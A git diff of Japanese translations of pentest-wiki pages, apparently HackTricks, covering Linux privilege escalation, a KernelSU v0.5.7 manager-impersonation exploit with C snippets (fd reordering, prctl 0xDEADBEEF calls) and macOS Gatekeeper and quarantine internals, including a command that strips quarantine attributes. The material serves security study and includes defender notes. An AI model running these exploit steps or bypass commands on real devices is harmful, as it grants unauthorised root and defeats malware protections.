この脆弱性は[**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginxログ)**に非常に似ているため、ログを変更できることがわかった場合は、誰がそのログを管理しているかを確認し、シンボリックリンクでログを置き換えることで特権を昇格できるかどうかを確認してください。
|
||||
この脆弱性は[**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginxログ)**に非常に似ているため、ログを変更できることがわかった場合は、誰がそのログを管理しているかを確認し、ログをシンボリックリンクで置き換えることで特権を昇格できるかどうかを確認してください。
|
||||
|
||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
@ -1360,7 +1360,7 @@ DEVICE=eth0
|
||||
|
||||
一方、`/etc/init` は **Upstart** に関連しており、これはUbuntuによって導入された新しい **サービス管理** で、サービス管理タスクのための設定ファイルを使用します。Upstartへの移行にもかかわらず、SysVinitスクリプトはUpstartの設定と共に互換性レイヤーのために引き続き利用されています。
|
||||
|
||||
**systemd** は現代的な初期化およびサービスマネージャーとして登場し、オンデマンドのデーモン起動、自動マウント管理、システム状態スナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用の `/usr/lib/systemd/` と管理者の変更用の `/etc/systemd/system/` に整理されており、システム管理プロセスを効率化します。
|
||||
**systemd** は現代の初期化およびサービスマネージャーとして登場し、オンデマンドのデーモン起動、自動マウント管理、システム状態スナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用の `/usr/lib/systemd/` と管理者の変更用の `/etc/systemd/system/` に整理されており、システム管理プロセスを効率化します。
|
||||
|
||||
## Other Tricks
|
||||
|
||||
@ -1428,7 +1428,7 @@ cisco-vmanage.md
|
||||
|
||||
## Android rooting frameworks: manager-channel abuse
|
||||
|
||||
Androidルーティングフレームワークは、特権のあるカーネル機能をユーザースペースのマネージャに公開するために、一般的にシステムコールをフックします。弱いマネージャ認証(例:FD順序に基づく署名チェックや不十分なパスワードスキーム)は、ローカルアプリがマネージャを偽装し、すでにルート化されたデバイスでルート権限を昇格させることを可能にします。詳細とエクスプロイトの詳細については、こちらをご覧ください:
|
||||
Androidルーティングフレームワークは、特権のあるカーネル機能をユーザースペースのマネージャに公開するために、一般的にシステムコールをフックします。弱いマネージャ認証(例:FD順に基づく署名チェックや不十分なパスワードスキーム)は、ローカルアプリがマネージャを偽装し、すでにルート化されたデバイスでルート権限を昇格させることを可能にします。詳細とエクスプロイトの詳細については、こちらをご覧ください:
|
||||
|
||||
{{#ref}}
|
||||
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
|
@ -21,15 +21,15 @@ KernelSU、APatch、SKRoot、Magiskなどのルーティングフレームワー
|
||||
例(KernelSU設計):
|
||||
- フックされたシステムコール: prctl
|
||||
- KernelSUハンドラーに転送するためのマジック値: 0xDEADBEEF
|
||||
- コマンドには、CMD_BECOME_MANAGER、CMD_GET_VERSION、CMD_ALLOW_SU、CMD_SET_SEPOLICY、CMD_GRANT_ROOTなどが含まれます。
|
||||
- コマンドには次が含まれます: CMD_BECOME_MANAGER、CMD_GET_VERSION、CMD_ALLOW_SU、CMD_SET_SEPOLICY、CMD_GRANT_ROOTなど。
|
||||
|
||||
---
|
||||
## KernelSU v0.5.7 認証フロー(実装された通り)
|
||||
|
||||
ユーザースペースがprctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...)を呼び出すと、KernelSUは以下を検証します:
|
||||
ユーザースペースがprctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...)を呼び出すと、KernelSUは次を確認します:
|
||||
|
||||
1) パスプレフィックスチェック
|
||||
- 提供されたパスは、呼び出し元UIDの期待されるプレフィックス(例: /data/data/<pkg> または /data/user/<id>/<pkg>)で始まる必要があります。
|
||||
- 提供されたパスは、呼び出し元UIDの期待されるプレフィックスで始まる必要があります。例: /data/data/<pkg> または /data/user/<id>/<pkg>。
|
||||
- 参照: core_hook.c (v0.5.7) パスプレフィックスロジック。
|
||||
|
||||
2) 所有権チェック
|
||||
@ -42,14 +42,14 @@ KernelSU、APatch、SKRoot、Magiskなどのルーティングフレームワー
|
||||
- APK v2署名を解析し、公式のマネージャー証明書と照合します。
|
||||
- 参照: manager.c (FDの反復処理)、apk_sign.c (APK v2検証)。
|
||||
|
||||
すべてのチェックが通過すると、カーネルはマネージャーのUIDを一時的にキャッシュし、そのUIDからの特権コマンドを受け入れます。
|
||||
すべてのチェックが通過すると、カーネルはマネージャーのUIDを一時的にキャッシュし、そのUIDから特権コマンドを受け入れます。
|
||||
|
||||
---
|
||||
## 脆弱性クラス: FD反復からの「最初に一致するAPK」を信頼する
|
||||
|
||||
署名チェックがプロセスFDテーブルで見つかった「最初に一致する/data/app/*/base.apk」にバインドされる場合、実際には呼び出し元のパッケージを検証していません。攻撃者は、正当な署名のAPK(本物のマネージャーのもの)を事前に配置し、自分のbase.apkよりもFDリストの早い位置に表示させることができます。
|
||||
署名チェックがプロセスFDテーブルで見つかった「最初に一致する/data/app/*/base.apk」にバインドされる場合、実際には呼び出し元のパッケージを検証していません。攻撃者は、正当な署名のAPK(実際のマネージャーのもの)を事前に配置し、自分のbase.apkよりもFDリストの早い位置に表示させることができます。
|
||||
|
||||
この間接的な信頼により、特権のないアプリがマネージャーを偽装できるようになります。
|
||||
この間接的な信頼により、特権のないアプリがマネージャーを偽装することができます。
|
||||
|
||||
悪用される主な特性:
|
||||
- FDスキャンは呼び出し元のパッケージIDにバインドされず、パス文字列のパターンマッチングのみを行います。
|
||||
@ -61,7 +61,7 @@ KernelSU、APatch、SKRoot、Magiskなどのルーティングフレームワー
|
||||
|
||||
- デバイスはすでに脆弱なルーティングフレームワーク(例: KernelSU v0.5.7)でルート化されています。
|
||||
- 攻撃者はローカルで任意の特権のないコードを実行できます(Androidアプリプロセス)。
|
||||
- 本物のマネージャーはまだ認証されていません(例: 再起動直後)。一部のフレームワークは成功後にマネージャーUIDをキャッシュします。レースに勝つ必要があります。
|
||||
- 実際のマネージャーはまだ認証されていません(例: 再起動直後)。いくつかのフレームワークは成功後にマネージャーUIDをキャッシュします。レースに勝つ必要があります。
|
||||
|
||||
---
|
||||
## 悪用の概要(KernelSU v0.5.7)
|
||||
@ -74,8 +74,8 @@ KernelSU、APatch、SKRoot、Magiskなどのルーティングフレームワー
|
||||
|
||||
ステップ2(FDの順序付け)に関する実用的な注意:
|
||||
- /proc/self/fdシンボリックリンクを歩いて、自分の/data/app/*/base.apkのFDを特定します。
|
||||
- 低いFD(例: stdin、fd 0)を閉じて、正当なマネージャーAPKを最初に開くことで、fd 0(または自分のbase.apk fdよりも低いインデックス)を占有させます。
|
||||
- 正当なマネージャーAPKをアプリにバンドルし、そのパスがカーネルの単純なフィルターを満たすようにします。たとえば、/data/app/*/base.apkに一致するサブパスの下に配置します。
|
||||
- 低いFD(例: stdin、fd 0)を閉じて、正当なマネージャーAPKを最初に開いてfd 0(または自分のbase.apk fdよりも低いインデックス)を占有させます。
|
||||
- 正当なマネージャーAPKをアプリにバンドルして、そのパスがカーネルの単純なフィルターを満たすようにします。例えば、/data/app/*/base.apkに一致するサブパスの下に配置します。
|
||||
|
||||
例のコードスニペット(Android/Linux、参考用のみ):
|
||||
|
||||
@ -107,7 +107,7 @@ closedir(d);
|
||||
return best_fd; // First (lowest) matching fd
|
||||
}
|
||||
```
|
||||
低い番号のFDを正当なマネージャーAPKを指すように強制する:
|
||||
低い番号のFDを正当なマネージャーAPKにポイントさせる:
|
||||
```c
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
@ -161,7 +161,7 @@ return (int)result;
|
||||
防御者/ブルーチーム向け:
|
||||
- ルート化フレームワークとマネージャープロセスの存在を検出する;カーネルテレメトリがある場合、疑わしいマジック定数(例:0xDEADBEEF)を持つprctl呼び出しを監視する。
|
||||
- 管理されたフリートでは、ブート後に特権マネージャーコマンドを迅速に試みる信頼できないパッケージからのブートレシーバーをブロックまたは警告する。
|
||||
- デバイスがパッチされたフレームワークバージョンに更新されていることを確認する;更新時にキャッシュされたマネージャーIDを無効にする。
|
||||
- デバイスがパッチされたフレームワークのバージョンに更新されていることを確認する;更新時にキャッシュされたマネージャーIDを無効にする。
|
||||
|
||||
攻撃の制限:
|
||||
- すでに脆弱なフレームワークでルート化されたデバイスにのみ影響する。
|
||||
@ -171,7 +171,7 @@ return (int)result;
|
||||
## フレームワーク間の関連ノート
|
||||
|
||||
- パスワードベースの認証(例:歴史的なAPatch/SKRootビルド)は、パスワードが推測可能/ブルートフォース可能であるか、検証がバグを含む場合に弱くなる可能性がある。
|
||||
- パッケージ/署名ベースの認証(例:KernelSU)は原則的には強力だが、FDスキャンのような間接的なアーティファクトではなく、実際の呼び出し元にバインドする必要がある。
|
||||
- パッケージ/署名ベースの認証(例:KernelSU)は原則として強力だが、FDスキャンのような間接的なアーティファクトではなく、実際の呼び出し元にバインドする必要がある。
|
||||
- Magisk: CVE-2024-48336(MagiskEoP)は、成熟したエコシステムであっても、マネージャーコンテキスト内でのコード実行につながるアイデンティティの偽装に対して脆弱であることを示した。
|
||||
|
||||
---
|
||||
|
@ -4,29 +4,29 @@
|
||||
|
||||
## Gatekeeper
|
||||
|
||||
**Gatekeeper**は、Macオペレーティングシステム向けに開発されたセキュリティ機能で、ユーザーが**信頼できるソフトウェアのみを**システムで実行することを保証するように設計されています。これは、ユーザーが**App Store以外のソース**からダウンロードして開こうとするソフトウェア(アプリ、プラグイン、インストーラーパッケージなど)を**検証する**ことによって機能します。
|
||||
**Gatekeeper**は、Macオペレーティングシステム向けに開発されたセキュリティ機能で、ユーザーが**信頼できるソフトウェアのみを**システムで実行することを保証するように設計されています。これは、ユーザーが**App Store以外のソース**からダウンロードして開こうとするソフトウェア(アプリ、プラグイン、インストーラーパッケージなど)を**検証することによって機能します**。
|
||||
|
||||
Gatekeeperの主要なメカニズムは、その**検証**プロセスにあります。ダウンロードされたソフトウェアが**認識された開発者によって署名されているか**を確認し、ソフトウェアの真正性を保証します。さらに、ソフトウェアが**Appleによってノータリゼーションされているか**を確認し、既知の悪意のあるコンテンツが含まれておらず、ノータリゼーション後に改ざんされていないことを確認します。
|
||||
Gatekeeperの主要なメカニズムは、その**検証**プロセスにあります。ダウンロードされたソフトウェアが**認識された開発者によって署名されているかどうか**を確認し、ソフトウェアの真正性を保証します。さらに、ソフトウェアが**Appleによってノータライズされているかどうか**を確認し、既知の悪意のあるコンテンツが含まれておらず、ノータライズ後に改ざんされていないことを確認します。
|
||||
|
||||
加えて、Gatekeeperは**ユーザーにダウンロードしたソフトウェアを初めて開くことを承認するよう促す**ことで、ユーザーの制御とセキュリティを強化します。この保護機能は、ユーザーが無害なデータファイルと誤解してしまった可能性のある有害な実行可能コードを誤って実行するのを防ぐのに役立ちます。
|
||||
|
||||
### Application Signatures
|
||||
|
||||
アプリケーション署名、またはコード署名は、Appleのセキュリティインフラストラクチャの重要な要素です。これらは、**ソフトウェアの著者(開発者)の身元を確認する**ために使用され、コードが最後に署名されて以来改ざんされていないことを保証します。
|
||||
アプリケーション署名、またはコード署名は、Appleのセキュリティインフラストラクチャの重要な要素です。これらは、**ソフトウェアの著者(開発者)の身元を確認するため**に使用され、コードが最後に署名されて以来改ざんされていないことを保証します。
|
||||
|
||||
以下はその仕組みです:
|
||||
以下のように機能します:
|
||||
|
||||
1. **アプリケーションの署名:** 開発者がアプリケーションを配布する準備が整ったとき、彼らは**プライベートキーを使用してアプリケーションに署名します**。このプライベートキーは、Apple Developer Programに登録した際にAppleが開発者に発行する**証明書**に関連付けられています。署名プロセスは、アプリのすべての部分の暗号ハッシュを作成し、このハッシュを開発者のプライベートキーで暗号化することを含みます。
|
||||
2. **アプリケーションの配布:** 署名されたアプリケーションは、対応する公開鍵を含む開発者の証明書と共にユーザーに配布されます。
|
||||
3. **アプリケーションの検証:** ユーザーがアプリケーションをダウンロードして実行しようとすると、彼らのMacオペレーティングシステムは開発者の証明書から公開鍵を使用してハッシュを復号化します。その後、アプリケーションの現在の状態に基づいてハッシュを再計算し、これを復号化されたハッシュと比較します。一致すれば、**アプリケーションは開発者によって署名されて以来変更されていない**ことを意味し、システムはアプリケーションの実行を許可します。
|
||||
1. **アプリケーションの署名:** 開発者がアプリケーションを配布する準備が整ったとき、彼らは**プライベートキーを使用してアプリケーションに署名します**。このプライベートキーは、Apple Developer Programに登録した際にAppleが開発者に発行する**証明書に関連付けられています**。署名プロセスは、アプリのすべての部分の暗号ハッシュを作成し、このハッシュを開発者のプライベートキーで暗号化することを含みます。
|
||||
2. **アプリケーションの配布:** 署名されたアプリケーションは、対応する公開鍵を含む開発者の証明書と共にユーザーに配布されます。
|
||||
3. **アプリケーションの検証:** ユーザーがアプリケーションをダウンロードして実行しようとすると、彼らのMacオペレーティングシステムは開発者の証明書から公開鍵を使用してハッシュを復号化します。その後、アプリケーションの現在の状態に基づいてハッシュを再計算し、これを復号化されたハッシュと比較します。一致すれば、**アプリケーションは開発者によって署名されて以来変更されていない**ことを意味し、システムはアプリケーションの実行を許可します。
|
||||
|
||||
アプリケーション署名は、AppleのGatekeeper技術の重要な部分です。ユーザーが**インターネットからダウンロードしたアプリケーションを開こうとすると**、Gatekeeperはアプリケーション署名を検証します。Appleが知られた開発者に発行した証明書で署名されており、コードが改ざんされていなければ、Gatekeeperはアプリケーションの実行を許可します。そうでない場合、アプリケーションはブロックされ、ユーザーに警告が表示されます。
|
||||
アプリケーション署名は、AppleのGatekeeper技術の重要な部分です。ユーザーが**インターネットからダウンロードしたアプリケーションを開こうとすると**、Gatekeeperはアプリケーション署名を検証します。Appleが知られた開発者に発行した証明書で署名されており、コードが改ざんされていなければ、Gatekeeperはアプリケーションの実行を許可します。そうでない場合、アプリケーションはブロックされ、ユーザーに警告されます。
|
||||
|
||||
macOS Catalina以降、**GatekeeperはアプリケーションがAppleによってノータリゼーションされているかどうかも確認します**。これにより、セキュリティの追加層が加わります。ノータリゼーションプロセスは、アプリケーションに既知のセキュリティ問題や悪意のあるコードがないかをチェックし、これらのチェックに合格すると、AppleはGatekeeperが検証できるチケットをアプリケーションに追加します。
|
||||
macOS Catalina以降、**GatekeeperはアプリケーションがAppleによってノータライズされているかどうかも確認します**。これにより、セキュリティの追加層が加わります。ノータライズプロセスは、アプリケーションに既知のセキュリティ問題や悪意のあるコードがないかをチェックし、これらのチェックに合格すれば、AppleはGatekeeperが検証できるチケットをアプリケーションに追加します。
|
||||
|
||||
#### Check Signatures
|
||||
|
||||
いくつかの**マルウェアサンプル**をチェックする際は、常に**バイナリの署名を確認する**べきです。署名した**開発者**がすでに**マルウェアに関連している可能性**があります。
|
||||
いくつかの**マルウェアサンプル**をチェックする際は、常に**バイナリの署名を確認する**べきです。署名した**開発者**がすでに**マルウェアに関連している可能性があるためです。**
|
||||
```bash
|
||||
# Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
@ -45,32 +45,32 @@ codesign -s <cert-name-keychain> toolsdemo
|
||||
```
|
||||
### Notarization
|
||||
|
||||
Appleのノータリゼーションプロセスは、ユーザーを潜在的に有害なソフトウェアから保護するための追加の安全策として機能します。これは、**開発者が自分のアプリケーションを** **Appleのノータリーサービス**に審査のために提出することを含み、App Reviewとは混同しないでください。このサービスは、提出されたソフトウェアに**悪意のあるコンテンツ**やコード署名に関する潜在的な問題がないかを精査する**自動化システム**です。
|
||||
Appleのノータリゼーションプロセスは、ユーザーを潜在的に有害なソフトウェアから保護するための追加の安全策として機能します。これは、**開発者が自分のアプリケーションを** **Appleのノータリーサービス**に審査のために提出することを含み、App Reviewと混同しないように注意が必要です。このサービスは、提出されたソフトウェアに**悪意のあるコンテンツ**やコード署名に関する潜在的な問題がないかを精査する**自動化システム**です。
|
||||
|
||||
ソフトウェアがこの検査を問題なく通過すると、ノータリーサービスはノータリゼーションチケットを生成します。開発者はその後、**このチケットをソフトウェアに添付する**必要があり、このプロセスは「ステープリング」と呼ばれます。さらに、ノータリゼーションチケットはオンラインでも公開され、Appleのセキュリティ技術であるGatekeeperがアクセスできるようになります。
|
||||
ソフトウェアがこの検査を問題なく通過すると、ノータリーサービスはノータリゼーションチケットを生成します。開発者はその後、**このチケットを自分のソフトウェアに添付する**必要があり、このプロセスは「ステープリング」として知られています。さらに、ノータリゼーションチケットはオンラインでも公開され、Appleのセキュリティ技術であるGatekeeperがアクセスできるようになります。
|
||||
|
||||
ユーザーがソフトウェアを初めてインストールまたは実行する際、ノータリゼーションチケットの存在 - 実行可能ファイルにステープルされているか、オンラインで見つかるかにかかわらず - **Gatekeeperに対してそのソフトウェアがAppleによってノータリゼーションされたことを通知します**。その結果、Gatekeeperは初回起動ダイアログに説明的なメッセージを表示し、そのソフトウェアがAppleによって悪意のあるコンテンツのチェックを受けたことを示します。このプロセスは、ユーザーが自分のシステムにインストールまたは実行するソフトウェアのセキュリティに対する信頼を高めます。
|
||||
ユーザーがソフトウェアを初めてインストールまたは実行する際、ノータリゼーションチケットの存在 - 実行可能ファイルにステープルされているか、オンラインで見つかるかにかかわらず - **GatekeeperにそのソフトウェアがAppleによってノータリゼーションされたことを通知します**。その結果、Gatekeeperは初回起動ダイアログに説明的なメッセージを表示し、そのソフトウェアがAppleによって悪意のあるコンテンツのチェックを受けたことを示します。このプロセスにより、ユーザーは自分のシステムにインストールまたは実行するソフトウェアのセキュリティに対する信頼が高まります。
|
||||
|
||||
### spctl & syspolicyd
|
||||
|
||||
> [!CAUTION]
|
||||
> Sequoiaバージョンから、**`spctl`**はもはやGatekeeperの設定を変更することを許可しません。
|
||||
> Sequoiaバージョン以降、**`spctl`**はGatekeeperの設定を変更することを許可しなくなりました。
|
||||
|
||||
**`spctl`**は、Gatekeeperと対話し、列挙するためのCLIツールです(`syspolicyd`デーモンとXPCメッセージを介して)。例えば、次のコマンドでGateKeeperの**ステータス**を確認することができます:
|
||||
**`spctl`**は、Gatekeeperと対話し、列挙するためのCLIツールです(XPCメッセージを介して`syspolicyd`デーモンと)。例えば、次のコマンドでGateKeeperの**ステータス**を確認することができます:
|
||||
```bash
|
||||
# Check the status
|
||||
spctl --status
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Note that GateKeeper signature checks are performed only to **Quarantine属性を持つファイル**に対して、すべてのファイルに対してではありません。
|
||||
> GateKeeperの署名チェックは、**Quarantine属性を持つファイル**に対してのみ実行され、すべてのファイルに対して行われるわけではありません。
|
||||
|
||||
GateKeeperは、**設定と署名**に基づいてバイナリが実行可能かどうかを確認します:
|
||||
|
||||
<figure><img src="../../../images/image (1150).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`syspolicyd`** はGatekeeperを強制する主なデーモンです。これは`/var/db/SystemPolicy`にあるデータベースを維持しており、[データベースをサポートするコードはこちら](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp)で見つけることができ、[SQLテンプレートはこちら](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql)で見つけることができます。データベースはSIPによって制限されておらず、rootによって書き込み可能で、データベース`/var/db/.SystemPolicy-default`は他のものが破損した場合の元のバックアップとして使用されます。
|
||||
**`syspolicyd`**は、Gatekeeperを強制する主なデーモンです。これは`/var/db/SystemPolicy`にあるデータベースを維持しており、[データベースをサポートするコードはこちら](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp)で見つけることができ、[SQLテンプレートはこちら](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql)で見つけることができます。データベースはSIPによって制限されておらず、rootによって書き込み可能で、データベース`/var/db/.SystemPolicy-default`は、他のデータベースが破損した場合の元のバックアップとして使用されます。
|
||||
|
||||
さらに、バンドル**`/var/db/gke.bundle`**と**`/var/db/gkopaque.bundle`**には、データベースに挿入されるルールを持つファイルが含まれています。このデータベースはrootとして次のように確認できます:
|
||||
さらに、**`/var/db/gke.bundle`**および**`/var/db/gkopaque.bundle`**には、データベースに挿入されるルールを持つファイルが含まれています。このデータベースはrootとして次のように確認できます:
|
||||
```bash
|
||||
# Open database
|
||||
sqlite3 /var/db/SystemPolicy
|
||||
@ -84,9 +84,9 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
|
||||
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
|
||||
[...]
|
||||
```
|
||||
**`syspolicyd`** は、`assess`、`update`、`record`、`cancel` などの異なる操作を持つ XPC サーバーを公開しており、これらは **`Security.framework`** の `SecAssessment*` APIs を使用してもアクセス可能です。また、**`spctl`** は実際に **`syspolicyd`** に XPC 経由で通信します。
|
||||
**`syspolicyd`** は、`assess`、`update`、`record`、`cancel` などの異なる操作を持つ XPC サーバーを公開しており、これらは **`Security.framework`** の `SecAssessment*` API を使用してもアクセス可能です。また、**`spctl`** は実際に **`syspolicyd`** に XPC 経由で通信します。
|
||||
|
||||
最初のルールが "**App Store**" で終わり、2 番目のルールが "**Developer ID**" で終わることに注意してください。また、前の画像では **App Store と認識された開発者からアプリを実行することが有効になっていました**。\
|
||||
最初のルールが "**App Store**" で終わり、2 番目のルールが "**Developer ID**" で終わることに注意してください。また、前の画像では **App Store と認定された開発者からアプリを実行することが有効になっていました**。\
|
||||
その設定を App Store に **変更**すると、"**Notarized Developer ID" ルールは消えます**。
|
||||
|
||||
**type GKE** のルールも数千あります:
|
||||
@ -181,24 +181,24 @@ macOS 15 Sequoia以降、エンドユーザーは`spctl`からGatekeeperポリ
|
||||
```
|
||||
### Quarantine Files
|
||||
|
||||
アプリケーションやファイルを**ダウンロード**すると、特定のmacOS **アプリケーション**(ウェブブラウザやメールクライアントなど)がダウンロードしたファイルに、一般的に「**隔離フラグ**」として知られる**拡張ファイル属性**を付加します。この属性は、ファイルが信頼できないソース(インターネット)から来ていることを**示す**セキュリティ対策として機能し、潜在的なリスクを伴います。しかし、すべてのアプリケーションがこの属性を付加するわけではなく、一般的なBitTorrentクライアントソフトウェアは通常このプロセスを回避します。
|
||||
アプリケーションやファイルを**ダウンロード**すると、特定のmacOS **アプリケーション**(ウェブブラウザやメールクライアントなど)がダウンロードしたファイルに、一般に「**隔離フラグ**」として知られる**拡張ファイル属性**を付加します。この属性は、ファイルが信頼できないソース(インターネット)から来ていることを**示す**セキュリティ対策として機能し、潜在的なリスクを伴います。しかし、すべてのアプリケーションがこの属性を付加するわけではなく、一般的なBitTorrentクライアントソフトウェアは通常このプロセスを回避します。
|
||||
|
||||
**隔離フラグの存在は、ユーザーがファイルを実行しようとしたときにmacOSのGatekeeperセキュリティ機能に信号を送ります**。
|
||||
|
||||
**隔離フラグが存在しない場合**(一部のBitTorrentクライアントを介してダウンロードされたファイルなど)、Gatekeeperの**チェックは実行されない可能性があります**。したがって、ユーザーは、あまり安全でないまたは未知のソースからダウンロードしたファイルを開く際には注意を払うべきです。
|
||||
|
||||
> [!NOTE] > **コード署名の** **有効性**を**確認する**ことは、コードとそのバンドルされたすべてのリソースの暗号学的**ハッシュ**を生成することを含む**リソース集約的**なプロセスです。さらに、証明書の有効性を確認するには、発行後に取り消されているかどうかを確認するためにAppleのサーバーに**オンラインチェック**を行う必要があります。このため、アプリが起動するたびに完全なコード署名とノータリゼーションのチェックを実行することは**実用的ではありません**。
|
||||
> [!NOTE] > **コード署名の** **有効性**を**確認する**ことは、コードとそのすべてのバンドルリソースの暗号学的**ハッシュ**を生成することを含む**リソース集約的**なプロセスです。さらに、証明書の有効性を確認するには、発行後に取り消されているかどうかを確認するためにAppleのサーバーに**オンラインチェック**を行う必要があります。このため、アプリが起動するたびに完全なコード署名とノータリゼーションのチェックを実行することは**実用的ではありません**。
|
||||
>
|
||||
> したがって、これらのチェックは**隔離属性を持つアプリを実行する際にのみ実行されます**。
|
||||
|
||||
> [!WARNING]
|
||||
> この属性は、ファイルを作成/ダウンロードするアプリケーションによって**設定される必要があります**。
|
||||
> この属性は、ファイルを作成/ダウンロードするアプリケーションによって**設定されなければなりません**。
|
||||
>
|
||||
> ただし、サンドボックス化されたファイルは、作成するすべてのファイルにこの属性が設定されます。また、サンドボックス化されていないアプリは自分で設定するか、**Info.plist**に[**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc)キーを指定することで、システムが作成されたファイルに`com.apple.quarantine`拡張属性を設定するようにします。
|
||||
> ただし、サンドボックス化されたファイルは、作成するすべてのファイルにこの属性が設定されます。また、サンドボックス化されていないアプリは自分で設定することができるか、**Info.plist**に[**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc)キーを指定することで、システムが作成されたファイルに`com.apple.quarantine`拡張属性を設定するようにできます。
|
||||
|
||||
さらに、**`qtn_proc_apply_to_self`**を呼び出すプロセスによって作成されたすべてのファイルは隔離されます。また、API **`qtn_file_apply_to_path`**は指定されたファイルパスに隔離属性を追加します。
|
||||
|
||||
そのステータスを**確認し、有効/無効にする**(rootが必要)ことが可能です:
|
||||
そのステータスを**確認し、有効/無効にする**(rootが必要)ことが可能です:
|
||||
```bash
|
||||
spctl --status
|
||||
assessments enabled
|
||||
@ -305,7 +305,7 @@ find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
|
||||
```bash
|
||||
find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"
|
||||
```
|
||||
Quarantine情報は、**`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** にあるLaunchServicesによって管理される中央データベースにも保存されており、GUIがファイルの起源に関するデータを取得できるようにしています。さらに、これは起源を隠そうとするアプリケーションによって上書きされる可能性があります。これはLaunchServices APIからも行うことができます。
|
||||
Quarantine情報は、**`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** にあるLaunchServicesによって管理される中央データベースにも保存されており、これによりGUIはファイルの起源に関するデータを取得できます。さらに、これは起源を隠そうとするアプリケーションによって上書きされる可能性があります。これはLaunchServices APIからも行うことができます。
|
||||
|
||||
#### **libquarantine.dylib**
|
||||
|
||||
@ -328,7 +328,7 @@ Quarantine情報は、**`~/Library/Preferences/com.apple.LaunchServices.Quaranti
|
||||
|
||||
macOS 13 Venturaは、隔離されたアプリが初めて実行されるときにポピュレートされる別の起源メカニズムを導入しました。2つのアーティファクトが作成されます:
|
||||
|
||||
- `.app`バンドルディレクトリにある`com.apple.provenance` xattr(主キーとフラグを含む固定サイズのバイナリ値)。
|
||||
- `.app`バンドルディレクトリにある`com.apple.provenance` xattr(プライマリキーとフラグを含む固定サイズのバイナリ値)。
|
||||
- アプリのcdhashとメタデータを保存する`/var/db/SystemPolicyConfiguration/ExecPolicy/`内のExecPolicyデータベースの`provenance_tracking`テーブルの行。
|
||||
|
||||
実用的な使用法:
|
||||
@ -344,26 +344,26 @@ log show --last 2d --style syslog --predicate 'process == "syspolicyd" && eventM
|
||||
```
|
||||
### XProtect
|
||||
|
||||
XProtectはmacOSに組み込まれた**アンチマルウェア**機能です。XProtectは**アプリケーションが初めて起動されるか、変更されたときに、そのデータベースに対して既知のマルウェアや安全でないファイルタイプをチェックします**。Safari、Mail、Messagesなどの特定のアプリを通じてファイルをダウンロードすると、XProtectは自動的にそのファイルをスキャンします。ファイルがデータベース内の既知のマルウェアと一致する場合、XProtectは**ファイルの実行を防ぎ**、脅威を警告します。
|
||||
XProtectはmacOSに組み込まれた**アンチマルウェア**機能です。XProtectは、アプリケーションが初めて起動されたり変更されたりする際に、既知のマルウェアや安全でないファイルタイプのデータベースと照合します。Safari、Mail、Messagesなどの特定のアプリを通じてファイルをダウンロードすると、XProtectは自動的にそのファイルをスキャンします。ファイルがデータベース内の既知のマルウェアと一致する場合、XProtectは**ファイルの実行を防ぎ**、脅威を警告します。
|
||||
|
||||
XProtectのデータベースは、Appleによって**定期的に更新され**、新しいマルウェア定義が追加されます。これらの更新は自動的にダウンロードされ、Macにインストールされます。これにより、XProtectは常に最新の既知の脅威に対して最新の状態を保ちます。
|
||||
XProtectのデータベースは、Appleによって**定期的に更新**され、新しいマルウェア定義が追加されます。これらの更新は自動的にダウンロードされ、Macにインストールされます。これにより、XProtectは常に最新の既知の脅威に対して最新の状態を保ちます。
|
||||
|
||||
ただし、**XProtectはフル機能のアンチウイルスソリューションではない**ことに注意が必要です。特定の既知の脅威のリストのみをチェックし、ほとんどのアンチウイルスソフトウェアのようにオンアクセススキャンを実行しません。
|
||||
ただし、**XProtectはフル機能のアンチウイルスソリューションではない**ことに注意が必要です。特定の既知の脅威のリストのみをチェックし、ほとんどのアンチウイルスソフトウェアのようにアクセス時スキャンを行いません。
|
||||
|
||||
最新のXProtect更新情報を取得するには、次のコマンドを実行します:
|
||||
```bash
|
||||
system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5
|
||||
```
|
||||
XProtectは、**/Library/Apple/System/Library/CoreServices/XProtect.bundle**のSIP保護された場所にあり、バンドル内にはXProtectが使用する情報が含まれています:
|
||||
XProtectは、**/Library/Apple/System/Library/CoreServices/XProtect.bundle**のSIP保護された場所にあります。このバンドル内には、XProtectが使用する情報が含まれています:
|
||||
|
||||
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: これらのcdhashesを持つコードがレガシー権限を使用することを許可します。
|
||||
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: これらのcdhashesを持つコードがレガシー権限を使用できるようにします。
|
||||
